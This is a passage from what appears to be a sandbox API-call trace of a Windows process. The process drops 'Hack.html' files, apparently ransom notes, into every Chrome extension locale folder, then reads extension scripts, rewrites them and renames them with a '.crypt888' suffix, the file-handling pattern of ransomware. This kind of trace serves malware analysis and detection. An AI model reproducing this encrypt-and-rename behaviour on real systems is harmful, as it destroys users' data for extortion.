hTemplateFile=0x0) returned 0x174 [0074.509] GetFileType (hFile=0x174) returned 0x1 [0074.509] GetFileType (hFile=0x174) returned 0x1 [0074.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.510] GetFileType (hFile=0x174) returned 0x1 [0074.510] GetFileType (hFile=0x174) returned 0x1 [0074.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.513] GetFileType (hFile=0x174) returned 0x1 [0074.513] GetFileType (hFile=0x174) returned 0x1 [0074.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.514] GetFileType (hFile=0x174) returned 0x1 [0074.514] GetFileType (hFile=0x174) returned 0x1 [0074.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.515] GetFileType (hFile=0x174) returned 0x1 [0074.516] GetFileType (hFile=0x174) returned 0x1 [0074.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.517] GetFileType (hFile=0x174) returned 0x1 [0074.517] GetFileType (hFile=0x174) returned 0x1 [0074.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.520] GetFileType (hFile=0x174) returned 0x1 [0074.520] GetFileType (hFile=0x174) returned 0x1 [0074.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.521] GetFileType (hFile=0x174) returned 0x1 [0074.521] GetFileType (hFile=0x174) returned 0x1 [0074.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.522] GetFileType (hFile=0x174) returned 0x1 [0074.522] GetFileType (hFile=0x174) returned 0x1 [0074.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.524] GetFileType (hFile=0x174) returned 0x1 [0074.524] GetFileType (hFile=0x174) returned 0x1 [0074.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.526] GetFileType (hFile=0x174) returned 0x1 [0074.526] GetFileType (hFile=0x174) returned 0x1 [0074.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.527] GetFileType (hFile=0x174) returned 0x1 [0074.528] GetFileType (hFile=0x174) returned 0x1 [0074.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.529] GetFileType (hFile=0x174) returned 0x1 [0074.529] GetFileType (hFile=0x174) returned 0x1 [0074.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.530] GetFileType (hFile=0x174) returned 0x1 [0074.530] GetFileType (hFile=0x174) returned 0x1 [0074.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.532] GetFileType (hFile=0x174) returned 0x1 [0074.532] GetFileType (hFile=0x174) returned 0x1 [0074.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.533] GetFileType (hFile=0x174) returned 0x1 [0074.533] GetFileType (hFile=0x174) returned 0x1 [0074.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.535] GetFileType (hFile=0x174) returned 0x1 [0074.535] GetFileType (hFile=0x174) returned 0x1 [0074.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.537] GetFileType (hFile=0x174) returned 0x1 [0074.537] GetFileType (hFile=0x174) returned 0x1 [0074.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.539] GetFileType (hFile=0x174) returned 0x1 [0074.539] GetFileType (hFile=0x174) returned 0x1 [0074.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.540] GetFileType (hFile=0x174) returned 0x1 [0074.541] GetFileType (hFile=0x174) returned 0x1 [0074.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.542] GetFileType (hFile=0x174) returned 0x1 [0074.542] GetFileType (hFile=0x174) returned 0x1 [0074.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.543] GetFileType (hFile=0x174) returned 0x1 [0074.543] GetFileType (hFile=0x174) returned 0x1 [0074.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.545] GetFileType (hFile=0x174) returned 0x1 [0074.545] GetFileType (hFile=0x174) returned 0x1 [0074.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.546] GetFileType (hFile=0x174) returned 0x1 [0074.546] GetFileType (hFile=0x174) returned 0x1 [0074.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.547] GetFileType (hFile=0x174) returned 0x1 [0074.547] GetFileType (hFile=0x174) returned 0x1 [0074.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.550] GetFileType (hFile=0x174) returned 0x1 [0074.550] GetFileType (hFile=0x174) returned 0x1 [0074.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.551] GetFileType (hFile=0x174) returned 0x1 [0074.551] GetFileType (hFile=0x174) returned 0x1 [0074.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.553] GetFileType (hFile=0x174) returned 0x1 [0074.553] GetFileType (hFile=0x174) returned 0x1 [0074.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.688] GetFileType (hFile=0x174) returned 0x1 [0074.688] GetFileType (hFile=0x174) returned 0x1 [0074.688] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x8c0bf [0074.689] ReadFile (in: hFile=0x174, lpBuffer=0x36698d0, nNumberOfBytesToRead=0x8c0bf, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesRead=0x39ebb8*=0x8c0bf, lpOverlapped=0x0) returned 1 [0074.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.870] GetFileType (hFile=0x174) returned 0x1 [0074.870] GetFileType (hFile=0x174) returned 0x1 [0074.870] WriteFile (in: hFile=0x174, lpBuffer=0x3925cd0*, nNumberOfBytesToWrite=0x8c0c0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x3925cd0*, lpNumberOfBytesWritten=0x39eba8*=0x8c0c0, lpOverlapped=0x0) returned 1 [0074.881] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.crypt888")) returned 1 [0074.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.888] GetFileType (hFile=0x174) returned 0x1 [0074.888] GetFileType (hFile=0x174) returned 0x1 [0074.888] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xa89c [0074.888] ReadFile (in: hFile=0x174, lpBuffer=0x277f138, nNumberOfBytesToRead=0xa89c, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x277f138*, lpNumberOfBytesRead=0x39ebb8*=0xa89c, lpOverlapped=0x0) returned 1 [0074.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.935] GetFileType (hFile=0x174) returned 0x1 [0074.935] GetFileType (hFile=0x174) returned 0x1 [0074.935] WriteFile (in: hFile=0x174, lpBuffer=0x26be15c*, nNumberOfBytesToWrite=0xa8a0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x26be15c*, lpNumberOfBytesWritten=0x39eba8*=0xa8a0, lpOverlapped=0x0) returned 1 [0074.937] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.crypt888")) returned 1 [0074.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.943] GetFileType (hFile=0x174) returned 0x1 [0074.943] GetFileType (hFile=0x174) returned 0x1 [0074.943] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x181aa [0074.943] ReadFile (in: hFile=0x174, lpBuffer=0x367ea10, nNumberOfBytesToRead=0x181aa, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x367ea10*, lpNumberOfBytesRead=0x39ebb8*=0x181aa, lpOverlapped=0x0) returned 1 [0074.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.967] GetFileType (hFile=0x174) returned 0x1 [0074.967] GetFileType (hFile=0x174) returned 0x1 [0074.967] WriteFile (in: hFile=0x174, lpBuffer=0x36f72b8*, nNumberOfBytesToWrite=0x181b0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x36f72b8*, lpNumberOfBytesWritten=0x39eba8*=0x181b0, lpOverlapped=0x0) returned 1 [0074.970] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), 